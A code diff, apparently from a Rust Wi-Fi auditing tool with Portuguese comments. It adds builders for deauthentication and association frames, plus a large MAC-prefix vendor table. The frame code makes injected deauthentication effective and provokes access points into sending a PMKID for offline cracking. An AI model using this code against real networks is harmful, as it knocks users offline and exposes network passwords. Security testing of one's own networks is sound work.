transmitter: [u8; 6],
|
||||||
|
bssid: [u8; 6],
|
||||||
|
destination: [u8; 6],
|
||||||
|
reason: u16,
|
||||||
|
) -> Vec<u8> {
|
||||||
|
mgmt_frame_from(10, transmitter, bssid, destination, reason)
|
||||||
|
}
|
||||||
|
|
||||||
/// Quadro de desassociação (subtipo 10).
|
/// Quadro de desassociação (subtipo 10).
|
||||||
pub fn disassoc_frame(bssid: [u8; 6], destination: [u8; 6], reason: u16) -> Vec<u8> {
|
pub fn disassoc_frame(bssid: [u8; 6], destination: [u8; 6], reason: u16) -> Vec<u8> {
|
||||||
mgmt_frame(10, bssid, destination, reason)
|
mgmt_frame(10, bssid, destination, reason)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Offset do campo "Sequence Control" dentro de um quadro de gerenciamento
|
||||||
|
/// construído por [`mgmt_frame_from`] (8 de radiotap + 22 até o campo).
|
||||||
|
const SEQ_CTRL_OFFSET: usize = 30;
|
||||||
|
|
||||||
|
/// Grava um número de sequência (0–4095) no quadro, deixando o número de
|
||||||
|
/// fragmento (4 bits baixos) zerado. Sem isso, todo quadro injetado sai com
|
||||||
|
/// sequência 0 e o driver do alvo descarta as repetições como duplicata,
|
||||||
|
/// fazendo a desautenticação não ter efeito nenhum apesar de "enviada".
|
||||||
|
pub fn set_seq(frame: &mut [u8], seq: u16) {
|
||||||
|
if frame.len() < SEQ_CTRL_OFFSET + 2 {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let field = (seq & 0x0fff) << 4;
|
||||||
|
frame[SEQ_CTRL_OFFSET] = (field & 0xff) as u8;
|
||||||
|
frame[SEQ_CTRL_OFFSET + 1] = (field >> 8) as u8;
|
||||||
|
}
|
||||||
|
|
||||||
|
fn ie(tag: u8, value: &[u8]) -> Vec<u8> {
|
||||||
|
let mut out = Vec::with_capacity(2 + value.len());
|
||||||
|
out.push(tag);
|
||||||
|
out.push(value.len() as u8);
|
||||||
|
out.extend_from_slice(value);
|
||||||
|
out
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Autenticação aberta (algoritmo 0, sequência 1). Usada antes do association
|
||||||
|
/// request no teste de PMKID.
|
||||||
|
pub fn auth_frame(bssid: [u8; 6], station: [u8; 6]) -> Vec<u8> {
|
||||||
|
let mut f = Vec::with_capacity(8 + 24 + 6);
|
||||||
|
f.extend_from_slice(&radiotap_min());
|
||||||
|
f.extend_from_slice(&0x00b0u16.to_le_bytes());
|
||||||
|
f.extend_from_slice(&0u16.to_le_bytes());
|
||||||
|
f.extend_from_slice(&bssid);
|
||||||
|
f.extend_from_slice(&station);
|
||||||
|
f.extend_from_slice(&bssid);
|
||||||
|
f.extend_from_slice(&[0u8; 2]);
|
||||||
|
f.extend_from_slice(&0u16.to_le_bytes()); // algoritmo aberto
|
||||||
|
f.extend_from_slice(&1u16.to_le_bytes()); // sequência
|
||||||
|
f.extend_from_slice(&0u16.to_le_bytes()); // status
|
||||||
|
f
|
||||||
|
}
|
||||||
|
|
||||||
|
fn rsn_ie(akms: &[u8], pmf: bool, pmf_required: bool, pmkid: &[u8; 16]) -> Vec<u8> {
|
||||||
|
let mut val = Vec::new();
|
||||||
|
val.extend_from_slice(&1u16.to_le_bytes());
|
||||||
|
val.extend_from_slice(&[0x00, 0x0f, 0xac, 4]); // grupo CCMP
|
||||||
|
val.extend_from_slice(&1u16.to_le_bytes());
|
||||||
|
val.extend_from_slice(&[0x00, 0x0f, 0xac, 4]); // pairwise CCMP
|
||||||
|
val.extend_from_slice(&(akms.len() as u16).to_le_bytes());
|
||||||
|
for akm in akms {
|
||||||
|
val.extend_from_slice(&[0x00, 0x0f, 0xac, *akm]);
|
||||||
|
}
|
||||||
|
let mut caps = 0u16;
|
||||||
|
if pmf {
|
||||||
|
caps |= 0x0080;
|
||||||
|
}
|
||||||
|
if pmf_required {
|
||||||
|
caps |= 0x0040;
|
||||||
|
}
|
||||||
|
val.extend_from_slice(&caps.to_le_bytes());
|
||||||
|
val.extend_from_slice(&1u16.to_le_bytes()); // PMKID count
|
||||||
|
val.extend_from_slice(pmkid);
|
||||||
|
ie(48, &val)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Association request com RSN/PMKID. O AP pode responder com a mensagem 1
|
||||||
|
/// do 4-way handshake contendo o PMKID — é isso que o teste tenta provocar.
|
||||||
|
pub fn assoc_request_frame(
|
||||||
|
bssid: [u8; 6],
|
||||||
|
station: [u8; 6],
|
||||||
|
ssid: &str,
|
||||||
|
akms: &[u8],
|
||||||
|
pmf: bool,
|
||||||
|
pmf_required: bool,
|
||||||
|
pmkid: [u8; 16],
|
||||||
|
) -> Vec<u8> {
|
||||||
|
let mut body = Vec::new();
|
||||||
|
body.extend_from_slice(&0x0431u16.to_le_bytes()); // ESS + short slot
|
||||||
|
body.extend_from_slice(&10u16.to_le_bytes()); // listen interval
|
||||||
|
body.extend_from_slice(&ie(0, ssid.as_bytes()));
|
||||||
|
body.extend_from_slice(&ie(1, &[0x82, 0x84, 0x8b, 0x96]));
|
||||||
|
body.extend_from_slice(&ie(50, &[0x0c, 0x12, 0x18, 0x24, 0x30, 0x36]));
|
||||||
|
if !akms.is_empty() {
|
||||||
|
body.extend_from_slice(&rsn_ie(akms, pmf, pmf_required, &pmkid));
|
||||||
|
}
|
||||||
|
|
||||||
|
let mut f = Vec::with_capacity(8 + 24 + body.len());
|
||||||
|
f.extend_from_slice(&radiotap_min());
|
||||||
|
f.extend_from_slice(&0x0000u16.to_le_bytes());
|
||||||
|
f.extend_from_slice(&0u16.to_le_bytes());
|
||||||
|
f.extend_from_slice(&bssid);
|
||||||
|
f.extend_from_slice(&station);
|
||||||
|
f.extend_from_slice(&bssid);
|
||||||
|
f.extend_from_slice(&[0u8; 2]);
|
||||||
|
f.extend_from_slice(&body);
|
||||||
|
f
|
||||||
|
}
|
||||||
|
|
||||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||||
pub enum Reason {
|
pub enum Reason {
|
||||||
Unspecified = 1,
|
Unspecified = 1,
|
||||||
@@ -160,4 +291,15 @@ mod tests {
|
|||||||
assert_eq!(&f[12..18], &BROADCAST);
|
assert_eq!(&f[12..18], &BROADCAST);
|
||||||
assert_eq!(f.len(), 8 + 24 + 2);
|
assert_eq!(f.len(), 8 + 24 + 2);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn set_seq_writes_sequence_number_without_touching_fragment_bits() {
|
||||||
|
let mut f = deauth_frame(bssid(), station(), 7);
|
||||||
|
set_seq(&mut f, 1);
|
||||||
|
let seq_ctrl = u16::from_le_bytes([f[SEQ_CTRL_OFFSET], f[SEQ_CTRL_OFFSET + 1]]);
|
||||||
|
assert_eq!(seq_ctrl, 1 << 4);
|
||||||
|
set_seq(&mut f, 0x0fff);
|
||||||
|
let seq_ctrl = u16::from_le_bytes([f[SEQ_CTRL_OFFSET], f[SEQ_CTRL_OFFSET + 1]]);
|
||||||
|
assert_eq!(seq_ctrl, 0x0fff << 4);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,919 @@
|
|||||||
|
//! Identificação de fabricante pelo prefixo OUI do MAC.
|
||||||
|
|
||||||
|
const OUIS: &[(&str, &str)] = &[
|
||||||
|
("00000c", "Cisco"),
|
||||||
|
("000142", "Cisco"),
|
||||||
|
("000163", "Cisco"),
|
||||||
|
("000164", "Cisco"),
|
||||||
|
("00016c", "Cisco"),
|
||||||
|
("0001c7", "Cisco"),
|
||||||
|
("0001e6", "Cisco"),
|
||||||
|
("000216", "Cisco"),
|
||||||
|
("0002b9", "Cisco"),
|
||||||
|
("0002fc", "Cisco"),
|
||||||
|
("000331", "Cisco"),
|
||||||
|
("00036b", "Cisco"),
|
||||||
|
("0003e3", "Cisco"),
|
||||||
|
("0003fd", "Cisco"),
|
||||||
|
("000427", "Cisco"),
|
||||||
|
("00044d", "Cisco"),
|
||||||
|
("0004c0", "Cisco"),
|
||||||
|
("0004dd", "Cisco"),
|
||||||
|
("000531", "Cisco"),
|
||||||
|
("00055d", "D-Link"),
|
||||||
|
("000569", "VMware"),
|
||||||
|
("0005dc", "Cisco"),
|
||||||
|
("0005dd", "Cisco"),
|
||||||
|
("0006c1", "Cisco"),
|
||||||
|
("0007eb", "Cisco"),
|
||||||
|
("0007ec", "Cisco"),
|
||||||
|
("0009b7", "Cisco"),
|
||||||
|
("000a41", "Cisco"),
|
||||||
|
("000aeb", "TP-Link"),
|
||||||
|
("000b86", "Aruba"),
|
||||||
|
("000c29", "VMware"),
|
||||||
|
("000c42", "MikroTik"),
|
||||||
|
("000c6e", "Asus"),
|
||||||
|
("000d28", "Cisco"),
|
||||||
|
("000d88", "D-Link"),
|
||||||
|
("000e38", "Cisco"),
|
||||||
|
("000ea6", "Asus"),
|
||||||
|
("000f23", "Cisco"),
|
||||||
|
("000f3d", "D-Link"),
|
||||||
|
("000fb5", "Netgear"),
|
||||||
|
("0010a6", "Cisco"),
|
||||||
|
("001120", "Cisco"),
|
||||||
|
("00112f", "Asus"),
|
||||||
|
("001195", "D-Link"),
|
||||||
|
("001217", "Cisco"),
|
||||||
|
("0012fb", "Samsung"),
|
||||||
|
("001346", "D-Link"),
|
||||||
|
("001392", "Ruckus"),
|
||||||
|
("0013d4", "Asus"),
|
||||||
|
("00146c", "Netgear"),
|
||||||
|
("001478", "TP-Link"),
|
||||||
|
("00156d", "Ubiquiti"),
|
||||||
|
("001599", "Samsung"),
|
||||||
|
("0015e9", "D-Link"),
|
||||||
|
("0015f2", "Asus"),
|
||||||
|
("001632", "Samsung"),
|
||||||
|
("00170f", "Cisco"),
|
||||||
|
("001731", "Asus"),
|
||||||
|
("00179a", "D-Link"),
|
||||||
|
("00180a", "Meraki"),
|
||||||
|
("00184d", "Netgear"),
|
||||||
|
("001882", "Huawei"),
|
||||||
|
("0018f3", "Asus"),
|
||||||
|
("00195b", "D-Link"),
|
||||||
|
("001a11", "Google"),
|
||||||
|
("001a1e", "Aruba"),
|
||||||
|
("001a2b", "Cisco"),
|
||||||
|
("001a8a", "Samsung"),
|
||||||
|
("001a92", "Asus"),
|
||||||
|
("001b11", "Cisco"),
|
||||||
|
("001b2f", "Netgear"),
|
||||||
|
("001b63", "Apple"),
|
||||||
|
("001bfc", "Asus"),
|
||||||
|
("001c42", "Parallels"),
|
||||||
|
("001cf0", "D-Link"),
|
||||||
|
("001d0f", "TP-Link"),
|
||||||
|
("001d25", "Samsung"),
|
||||||
|
("001d60", "Asus"),
|
||||||
|
("001e10", "Huawei"),
|
||||||
|
("001e2a", "Netgear"),
|
||||||
|
("001e58", "D-Link"),
|
||||||
|
("001e7d", "Samsung"),
|
||||||
|
("001e8c", "Asus"),
|
||||||
|
("001ec2", "Apple"),
|
||||||
|
("001f6c", "Cisco"),
|
||||||
|
("001fc6", "Asus"),
|
||||||
|
("002119", "Samsung"),
|
||||||
|
("002127", "TP-Link"),
|
||||||
|
("0021e9", "Apple"),
|
||||||
|
("002215", "Asus"),
|
||||||
|
("00223f", "Netgear"),
|
||||||
|
("00227f", "Ruckus"),
|
||||||
|
("002290", "Cisco"),
|
||||||
|
("0022b0", "D-Link"),
|
||||||
|
("002312", "Apple"),
|
||||||
|
("002339", "Samsung"),
|
||||||
|
("002454", "Samsung"),
|
||||||
|
("002486", "Asus"),
|
||||||
|
("0024a3", "Apple"),
|
||||||
|
("0024b2", "Netgear"),
|
||||||
|
("0024dc", "Apple"),
|
||||||
|
("002500", "Apple"),
|
||||||
|
("002586", "TP-Link"),
|
||||||
|
("00259e", "Huawei"),
|
||||||
|
("0025c4", "Ruckus"),
|
||||||
|
("002618", "Asus"),
|
||||||
|
("002637", "Samsung"),
|
||||||
|
("0026bb", "Apple"),
|
||||||
|
("0026f2", "Netgear"),
|
||||||
|
("002719", "TP-Link"),
|
||||||
|
("002722", "Ubiquiti"),
|
||||||
|
("0027a0", "Apple"),
|
||||||
|
("003e51", "Apple"),
|
||||||
|
("003ee1", "Apple"),
|
||||||
|
("004096", "Apple"),
|
||||||
|
("005056", "VMware"),
|
||||||
|
("0050e4", "Apple"),
|
||||||
|
("0055e6", "Apple"),
|
||||||
|
("0056cd", "Apple"),
|
||||||
|
("040cce", "Apple"),
|
||||||
|
("041552", "Apple"),
|
||||||
|
("0452f3", "Apple"),
|
||||||
|
("045e3d", "Apple"),
|
||||||
|
("04a151", "Netgear"),
|
||||||
|
("04bd70", "Huawei"),
|
||||||
|
("04c06f", "TP-Link"),
|
||||||
|
("04d4c4", "Asus"),
|
||||||
|
("04d9f5", "Asus"),
|
||||||
|
("04db56", "Apple"),
|
||||||
|
("04e536", "Apple"),
|
||||||
|
("04f13e", "Apple"),
|
||||||
|
("04f7e4", "Apple"),
|
||||||
|
("04f938", "Huawei"),
|
||||||
|
("080027", "VirtualBox"),
|
||||||
|
("080028", "Apple"),
|
||||||
|
("0836c9", "Netgear"),
|
||||||
|
("08606e", "Asus"),
|
||||||
|
("086266", "Asus"),
|
||||||
|
("086361", "Huawei"),
|
||||||
|
("086d41", "Apple"),
|
||||||
|
("087045", "Apple"),
|
||||||
|
("08863b", "Apple"),
|
||||||
|
("08bd43", "Netgear"),
|
||||||
|
("0c3021", "Apple"),
|
||||||
|
("0c37dc", "Huawei"),
|
||||||
|
("0c3e9f", "Apple"),
|
||||||
|
("0c4de9", "Apple"),
|
||||||
|
("0c74c2", "Apple"),
|
||||||
|
("0c771a", "Apple"),
|
||||||
|
("0c8063", "TP-Link"),
|
||||||
|
("0c9d92", "Asus"),
|
||||||
|
("0cbc9f", "Apple"),
|
||||||
|
("0cbd51", "Ruckus"),
|
||||||
|
("100c6b", "Netgear"),
|
||||||
|
("1027f5", "TP-Link"),
|
||||||
|
("1040f3", "Apple"),
|
||||||
|
("104780", "Huawei"),
|
||||||
|
("10bd18", "Ruckus"),
|
||||||
|
("10bf48", "Asus"),
|
||||||
|
("10da43", "Netgear"),
|
||||||
|
("10feed", "TP-Link"),
|
||||||
|
("14109f", "Apple"),
|
||||||
|
("143004", "Huawei"),
|
||||||
|
("1449e0", "Samsung"),
|
||||||
|
("144d67", "Apple"),
|
||||||
|
("145a05", "Apple"),
|
||||||
|
("14cfe5", "Apple"),
|
||||||
|
("14d64d", "D-Link"),
|
||||||
|
("14dae9", "Asus"),
|
||||||
|
("14dda9", "Asus"),
|
||||||
|
("18a6f7", "TP-Link"),
|
||||||
|
("18af61", "Apple"),
|
||||||
|
("18c58a", "Huawei"),
|
||||||
|
("18fd74", "MikroTik"),
|
||||||
|
("1c151f", "Huawei"),
|
||||||
|
("1c3bf3", "TP-Link"),
|
||||||
|
("1c7ee5", "D-Link"),
|
||||||
|
("1c872c", "Asus"),
|
||||||
|
("1cbdb9", "D-Link"),
|
||||||
|
("1cfa68", "TP-Link"),
|
||||||
|
("200cc8", "Netgear"),
|
||||||
|
("204c03", "Aruba"),
|
||||||
|
("204e7f", "Netgear"),
|
||||||
|
("2078f0", "Apple"),
|
||||||
|
("209bcd", "Apple"),
|
||||||
|
("20c9d0", "Apple"),
|
||||||
|
("20dce6", "TP-Link"),
|
||||||
|
("20e52a", "Netgear"),
|
||||||
|
("20f3a3", "Huawei"),
|
||||||
|
("244bfe", "Asus"),
|
||||||
|
("246968", "TP-Link"),
|
||||||
|
("2469a5", "Huawei"),
|
||||||
|
("24a43c", "Ubiquiti"),
|
||||||
|
("24dec6", "Aruba"),
|
||||||
|
("282cb2", "TP-Link"),
|
||||||
|
("283ce4", "Huawei"),
|
||||||
|
("28c68e", "Netgear"),
|
||||||
|
("28ee52", "TP-Link"),
|
||||||
|
("2c3033", "Netgear"),
|
||||||
|
("2c3afd", "TP-Link"),
|
||||||
|
("2c4d54", "Asus"),
|
||||||
|
("2c55d3", "Huawei"),
|
||||||
|
("2c56dc", "Asus"),
|
||||||
|
("2c59e5", "Aruba"),
|
||||||
|
("2c5d93", "Ruckus"),
|
||||||
|
("2cab00", "D-Link"),
|
||||||
|
("2cb05d", "Netgear"),
|
||||||
|
("2cc81b", "MikroTik"),
|
||||||
|
("301966", "Samsung"),
|
||||||
|
("3035ad", "Apple"),
|
||||||
|
("30469a", "Netgear"),
|
||||||
|
("305a3a", "Asus"),
|
||||||
|
("30636b", "Apple"),
|
||||||
|
("308730", "Huawei"),
|
||||||
|
("3090ab", "Apple"),
|
||||||
|
("30b5c2", "TP-Link"),
|
||||||
|
("340804", "D-Link"),
|
||||||
|
("341298", "Apple"),
|
||||||
|
("3423ba", "Samsung"),
|
||||||
|
("3460f9", "TP-Link"),
|
||||||
|
("3497f6", "Asus"),
|
||||||
|
("34a395", "Apple"),
|
||||||
|
("34e894", "TP-Link"),
|
||||||
|
("38484c", "Apple"),
|
||||||
|
("388345", "TP-Link"),
|
||||||
|
("3894ed", "Netgear"),
|
||||||
|
("38aa3c", "Samsung"),
|
||||||
|
("38b8eb", "Apple"),
|
||||||
|
("38d547", "Asus"),
|
||||||
|
("3c0754", "Apple"),
|
||||||
|
("3c15c2", "Apple"),
|
||||||
|
("3c1e04", "D-Link"),
|
||||||
|
("3c3786", "Netgear"),
|
||||||
|
("3c46d8", "TP-Link"),
|
||||||
|
("3c5a37", "Samsung"),
|
||||||
|
("3c846a", "TP-Link"),
|
||||||
|
("3c970e", "Asus"),
|
||||||
|
("3ca067", "Ruckus"),
|
||||||
|
("3cab8e", "Apple"),
|
||||||
|
("40167e", "Asus"),
|
||||||
|
("40169f", "TP-Link"),
|
||||||
|
("403004", "Apple"),
|
||||||
|
("40331a", "Apple"),
|
||||||
|
("404d8e", "Huawei"),
|
||||||
|
("405d82", "Netgear"),
|
||||||
|
("406c8f", "Apple"),
|
||||||
|
("40984e", "Apple"),
|
||||||
|
("409bcd", "D-Link"),
|
||||||
|
("40a6d9", "Apple"),
|
||||||
|
("40b395", "Apple"),
|
||||||
|
("40e3d6", "Aruba"),
|
||||||
|
("440010", "Apple"),
|
||||||
|
("442a60", "Apple"),
|
||||||
|
("4448b9", "Aruba"),
|
||||||
|
("444c0c", "Apple"),
|
||||||
|
("444e1a", "Samsung"),
|
||||||
|
("446a2e", "Huawei"),
|
||||||
|
("4494fc", "TP-Link"),
|
||||||
|
("44a56e", "Netgear"),
|
||||||
|
("44d884", "Apple"),
|
||||||
|
("44d9e7", "Ubiquiti"),
|
||||||
|
("480eec", "TP-Link"),
|
||||||
|
("48437c", "Apple"),
|
||||||
|
("4846fb", "Huawei"),
|
||||||
|
("485a3d", "Samsung"),
|
||||||
|
("485b39", "Asus"),
|
||||||
|
("485d60", "D-Link"),
|
||||||
|
("4860bc", "Apple"),
|
||||||
|
("48746e", "Apple"),
|
||||||
|
("488f5a", "MikroTik"),
|
||||||
|
("48a195", "Apple"),
|
||||||
|
("48d705", "Apple"),
|
||||||
|
("4c1fcc", "Huawei"),
|
||||||
|
("4c3275", "Apple"),
|
||||||
|
("4c3c16", "Samsung"),
|
||||||
|
("4c3fa7", "Ruckus"),
|
||||||
|
("4c57ca", "Apple"),
|
||||||
|
("4c5e0c", "MikroTik"),
|
||||||
|
("4c60de", "Netgear"),
|
||||||
|
("4c7403", "Apple"),
|
||||||
|
("4c8d79", "Apple"),
|
||||||
|
("4c9eff", "D-Link"),
|
||||||
|
("4ce173", "TP-Link"),
|
||||||
|
("4cedfb", "Asus"),
|
||||||
|
("5001bb", "Samsung"),
|
||||||
|
("503eaa", "TP-Link"),
|
||||||
|
("506a03", "Netgear"),
|
||||||
|
("50c7bf", "TP-Link"),
|
||||||
|
("50ead6", "Apple"),
|
||||||
|
("5404a6", "Asus"),
|
||||||
|
("5425ea", "Huawei"),
|
||||||
|
("542696", "Apple"),
|
||||||
|
("546009", "Google"),
|
||||||
|
("54724f", "Apple"),
|
||||||
|
("5492be", "Samsung"),
|
||||||
|
("54b80a", "D-Link"),
|
||||||
|
("54c80f", "TP-Link"),
|
||||||
|
("581122", "Asus"),
|
||||||
|
("581f28", "Huawei"),
|
||||||
|
("581faa", "Apple"),
|
||||||
|
("583f54", "Samsung"),
|
||||||
|
("5855ca", "Apple"),
|
||||||
|
("586d8f", "Ruckus"),
|
||||||
|
("58b035", "Apple"),
|
||||||
|
("58d9d5", "TP-Link"),
|
||||||
|
("5c0a5b", "Samsung"),
|
||||||
|
("5c3275", "Asus"),
|
||||||
|
("5c4ca9", "Huawei"),
|
||||||
|
("5c5948", "Apple"),
|
||||||
|
("5c628b", "TP-Link"),
|
||||||
|
("5c899a", "TP-Link"),
|
||||||
|
("5c95ae", "Apple"),
|
||||||
|
("5c97f3", "Apple"),
|
||||||
|
("5cd998", "D-Link"),
|
||||||
|
("5cf938", "Apple"),
|
||||||
|
("600308", "Apple"),
|
||||||
|
("6032b1", "TP-Link"),
|
||||||
|
("60334b", "Apple"),
|
||||||
|
("6045cb", "Asus"),
|
||||||
|
("60634c", "D-Link"),
|
||||||
|
("606944", "Apple"),
|
||||||
|
("606bbd", "Samsung"),
|
||||||
|
("608c4a", "Apple"),
|
||||||
|
("609217", "Apple"),
|
||||||
|
("609ac1", "Apple"),
|
||||||
|
("60a4b7", "TP-Link"),
|
||||||
|
("60c547", "Apple"),
|
||||||
|
("60de44", "Huawei"),
|
||||||
|
("60f445", "Apple"),
|
||||||
|
("60facd", "Apple"),
|
||||||
|
("60fb42", "Apple"),
|
||||||
|
("643e8c", "Huawei"),
|
||||||
|
("645601", "TP-Link"),
|
||||||
|
("6466b3", "TP-Link"),
|
||||||
|
("647002", "TP-Link"),
|
||||||
|
("6476ba", "Apple"),
|
||||||
|
("649abe", "Apple"),
|
||||||
|
("64b0a6", "Apple"),
|
||||||
|
("64b853", "Samsung"),
|
||||||
|
("64b9e8", "Apple"),
|
||||||
|
("64d154", "MikroTik"),
|
||||||
|
("680927", "Apple"),
|
||||||
|
("68572d", "TP-Link"),
|
||||||
|
("68644b", "Apple"),
|
||||||
|
("687251", "Ubiquiti"),
|
||||||
|
("68967b", "Apple"),
|
||||||
|
("689c70", "Apple"),
|
||||||
|
("68a0f6", "Huawei"),
|
||||||
|
("68a86d", "Apple"),
|
||||||
|
("68ab1e", "Apple"),
|
||||||
|
("68ae20", "Apple"),
|
||||||
|
("68d93c", "Apple"),
|
||||||
|
("68dbca", "Apple"),
|
||||||
|
("68ebae", "Samsung"),
|
||||||
|
("68fb7e", "Apple"),
|
||||||
|
("6c198f", "D-Link"),
|
||||||
|
("6c19c0", "Apple"),
|
||||||
|
("6c3b6b", "MikroTik"),
|
||||||
|
("6c3e6d", "Apple"),
|
||||||
|
("6c4008", "Apple"),
|
||||||
|
("6c5ab0", "TP-Link"),
|
||||||
|
("6c709f", "Apple"),
|
||||||
|
("6c8dc1", "Apple"),
|
||||||
|
("6c92bf", "Huawei"),
|
||||||
|
("6c94f8", "Apple"),
|
||||||
|
("6caab3", "Ruckus"),
|
||||||
|
("6cab31", "Apple"),
|
||||||
|
("6cb0ce", "Netgear"),
|
||||||
|
("6cc7ec", "Apple"),
|
||||||
|
("6cf373", "Samsung"),
|
||||||
|
("6cf37f", "Aruba"),
|
||||||
|
("701124", "Apple"),
|
||||||
|
("7014a6", "Apple"),
|
||||||
|
("703a0e", "Aruba"),
|
||||||
|
("703eac", "Apple"),
|
||||||
|
("70480f", "Apple"),
|
||||||
|
("704d7b", "Asus"),
|
||||||
|
("704f57", "TP-Link"),
|
||||||
|
("7054f5", "Huawei"),
|
||||||
|
("705681", "Apple"),
|
||||||
|
("7073cb", "Apple"),
|
||||||
|
("7081eb", "Apple"),
|
||||||
|
("70f927", "Samsung"),
|
||||||
|
("741bb2", "Apple"),
|
||||||
|
("744401", "Netgear"),
|
||||||
|
("744d28", "Samsung"),
|
||||||
|
("7483c2", "Ubiquiti"),
|
||||||
|
("74882a", "Huawei"),
|
||||||
|
("748d08", "Apple"),
|
||||||
|
("74911a", "Ruckus"),
|
||||||
|
("74d02b", "Asus"),
|
||||||
|
("74da38", "TP-Link"),
|
||||||
|
("74da88", "TP-Link"),
|
||||||
|
("74e1b6", "Apple"),
|
||||||
|
("74e2f5", "Apple"),
|
||||||
|
("781fdb", "Samsung"),
|
||||||
|
("7824af", "Asus"),
|
||||||
|
("7831c1", "Apple"),
|
||||||
|
("783a84", "Apple"),
|
||||||
|
("784476", "TP-Link"),
|
||||||
|
("784558", "Ubiquiti"),
|
||||||
|
("784f43", "Apple"),
|
||||||
|
("786c1c", "Apple"),
|
||||||
|
("788a20", "Ubiquiti"),
|
||||||
|
("789a18", "MikroTik"),
|
||||||
|
("789f70", "Apple"),
|
||||||
|
("78a3e4", "Apple"),
|
||||||
|
("78ca39", "Apple"),
|
||||||
|
("78d294", "Netgear"),
|
||||||
|
("78d752", "Huawei"),
|
||||||
|
("78d75f", "Apple"),
|
||||||
|
("78fd94", "Apple"),
|
||||||
|
("7c0191", "Apple"),
|
||||||
|
("7c04d0", "Apple"),
|
||||||
|
("7c10c9", "Asus"),
|
||||||
|
("7c11be", "Apple"),
|
||||||
|
("7c6097", "Huawei"),
|
||||||
|
("7c6d62", "Apple"),
|
||||||
|
("7c6df8", "Apple"),
|
||||||
|
("7c8bca", "TP-Link"),
|
||||||
|
("7cc3a1", "Apple"),
|
||||||
|
("7cc537", "Apple"),
|
||||||
|
("7cd1c3", "Apple"),
|
||||||
|
("7cf05f", "Apple"),
|
||||||
|
("7cfadf", "Apple"),
|
||||||
|
("80006e", "Apple"),
|
||||||
|
("801f02", "Asus"),
|
||||||
|
("802aa8", "Ubiquiti"),
|
||||||
|
("803773", "Netgear"),
|
||||||
|
("804971", "Apple"),
|
||||||
|
("805719", "Samsung"),
|
||||||
|
("80929f", "Apple"),
|
||||||
|
("80be05", "Apple"),
|
||||||
|
("80e650", "Apple"),
|
||||||
|
("80ea07", "TP-Link"),
|
||||||
|
("80ea96", "Apple"),
|
||||||
|
("80fb06", "Huawei"),
|
||||||
|
("84119e", "Samsung"),
|
||||||
|
("8416f9", "TP-Link"),
|
||||||
|
("841888", "Ruckus"),
|
||||||
|
("841b5e", "Netgear"),
|
||||||
|
("8425db", "Samsung"),
|
||||||
|
("843835", "Apple"),
|
||||||
|
("843838", "Samsung"),
|
||||||
|
("84788b", "Apple"),
|
||||||
|
("848506", "Apple"),
|
||||||
|
("8489ad", "Apple"),
|
||||||
|
("848e0c", "Apple"),
|
||||||
|
("84a8e4", "Huawei"),
|
||||||
|
("84b153", "Apple"),
|
||||||
|
("84c9b2", "D-Link"),
|
||||||
|
("84d47e", "Aruba"),
|
||||||
|
("84f3eb", "Apple"),
|
||||||
|
("881544", "Meraki"),
|
||||||
|
("881908", "Apple"),
|
||||||
|
("881dfc", "Apple"),
|
||||||
|
("882593", "TP-Link"),
|
||||||
|
("8828b3", "Huawei"),
|
||||||
|
("88366c", "Samsung"),
|
||||||
|
("885395", "Apple"),
|
||||||
|
("8863df", "Apple"),
|
||||||
|
("8866a5", "Apple"),
|
||||||
|
("88c663", "Apple"),
|
||||||
|
("88cb87", "Apple"),
|
||||||
|
("88d7f6", "Asus"),
|
||||||
|
("88e87f", "Apple"),
|
||||||
|
("8c006d", "Apple"),
|
||||||
|
("8c210a", "TP-Link"),
|
||||||
|
("8c2937", "Apple"),
|
||||||
|
("8c2daa", "Apple"),
|
||||||
|
("8c34fd", "Huawei"),
|
||||||
|
("8c5877", "Apple"),
|
||||||
|
("8c7b9d", "Apple"),
|
||||||
|
("8c7c92", "Apple"),
|
||||||
|
("8c8590", "Apple"),
|
||||||
|
("8c89a5", "Asus"),
|
||||||
|
("8c8ef2", "Apple"),
|
||||||
|
("8cbebe", "D-Link"),
|
||||||
|
("8cfaba", "Apple"),
|
||||||
|
("9017ac", "Huawei"),
|
||||||
|
("9027e4", "Apple"),
|
||||||
|
("902b34", "Asus"),
|
||||||
|
("903c92", "Apple"),
|
||||||
|
("904ce5", "Aruba"),
|
||||||
|
("9060f1", "Apple"),
|
||||||
|
("907240", "Apple"),
|
||||||
|
("90840d", "Apple"),
|
||||||
|
("9094e4", "D-Link"),
|
||||||
|
("90b0ed", "Apple"),
|
||||||
|
("90b21f", "Apple"),
|
||||||
|
("90c1c6", "Apple"),
|
||||||
|
("90dd5d", "Apple"),
|
||||||
|
("90f652", "TP-Link"),
|
||||||
|
("90fd61", "Apple"),
|
||||||
|
("9401c2", "Samsung"),
|
||||||
|
("94049c", "Huawei"),
|
||||||
|
("940c6d", "TP-Link"),
|
||||||
|
("949426", "Apple"),
|
||||||
|
("94b34f", "Ruckus"),
|
||||||
|
("94b40f", "Aruba"),
|
||||||
|
("9801a7", "Apple"),
|
||||||
|
("98288e", "Apple"),
|
||||||
|
("9852b1", "Samsung"),
|
||||||
|
("985aeb", "Apple"),
|
||||||
|
("989e63", "Apple"),
|
||||||
|
("98b8e3", "Apple"),
|
||||||
|
("98d6bb", "Apple"),
|
||||||
|
("98dac4", "TP-Link"),
|
||||||
|
("98e0d9", "Apple"),
|
||||||
|
("98e7f5", "Huawei"),
|
||||||
|
("98f0ab", "Apple"),
|
||||||
|
("9c04eb", "Apple"),
|
||||||
|
("9c05d6", "Ubiquiti"),
|
||||||
|
("9c1c12", "Aruba"),
|
||||||
|
("9c207b", "Apple"),
|
||||||
|
("9c28ef", "Huawei"),
|
||||||
|
("9c35eb", "Apple"),
|
||||||
|
("9c3dcf", "Netgear"),
|
||||||
|
("9c4fda", "Apple"),
|
||||||
|
("9c5c8e", "Asus"),
|
||||||
|
("9c84bf", "Apple"),
|
||||||
|
("9ca2f4", "TP-Link"),
|
||||||
|
("9cd643", "D-Link"),
|
||||||
|
("9ce65e", "Apple"),
|
||||||
|
("9cf387", "Apple"),
|
||||||
|
("9cf48e", "Apple"),
|
||||||
|
("9cfc01", "Apple"),
|
||||||
|
